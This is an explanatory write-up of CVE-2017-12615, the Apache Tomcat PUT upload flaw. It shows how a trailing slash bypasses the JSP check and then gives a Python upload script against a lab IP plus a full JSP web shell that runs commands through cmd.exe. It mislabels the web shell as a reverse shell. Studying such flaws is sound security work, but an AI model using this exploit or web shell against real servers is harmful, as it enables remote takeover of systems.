CVE-2017-12615

Overview/Summary

When running Apache Tomcat 7.0.0 to 7.0.79 on Windows with HTTP PUTs enabled it was possible to upload a JSP file to the server via a specially crafted request. This JSP could then be requested and any code it contained would be executed by the server. That could lead to remote code execution on the server.

How is the vulnerability aroused?

The vulnerability only affects Apache Tomcat Servers satisfying following criteria :-

1. Read Only parameter in conf/web.xml set to False. [Default:True]
2. Apache Tomcat Version 7.0.0 to 7.0.79

Normally, Apache Tomcat prevents JSP file uploads using PUT HTTP request, however when a '/' is appended at the end of the filename in the request, the request passes the checks imposed by Apache Tomcat.

The red request results in an error 404, however the green request is successful.

```
PUT /sample/myfile.jsp
Host: www.vulnerable-site.com
Connection: close
Content-Length: 64

<% out.println("<html><body>Sample JSP File</body></html>"); %>
```

```
PUT /sample/myfile.jsp/
Host: www.vulnerable-site.com
Connection: close
Content-Length: 64

<% out.println("<html><body>Sample JSP File</body></html>"); %>
```

Exploitation

Exploitation of this CVE is simple :

1. Create a reverse shell JSP file.
2. Send this file in a PUT Request to the server.
3. Request this file from a web browser.

```
import requests

url = 'http://192.168.152.132:8080/'
file_name = 'shell.jsp'
exploit_file = open('exploit.jsp', 'r')
exploit_data = exploit_file.read()

x = requests.put(url + file_name, data=exploit_data)
print("File Name {} : Status Code {} ".format(file_name, x.status_code))

y = requests.put(url + file_name + '/', data=exploit_data)
print("File Name {} : Status Code {} ".format(file_name + '/',
y.status_code))
```

```
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<html>
<body>
<form method="GET" name="command_form" action="">
<input type="text" name="cmd">
<input type="submit" value="Send">
</form>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<br>");
    Process p;
    p = Runtime.getRuntime().exec("cmd.exe /C " +
request.getParameter("cmd"));
```

```
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
out.println(disr);
        disr = dis.readLine();
    }
}
%>
</pre>
</body>
</html>
```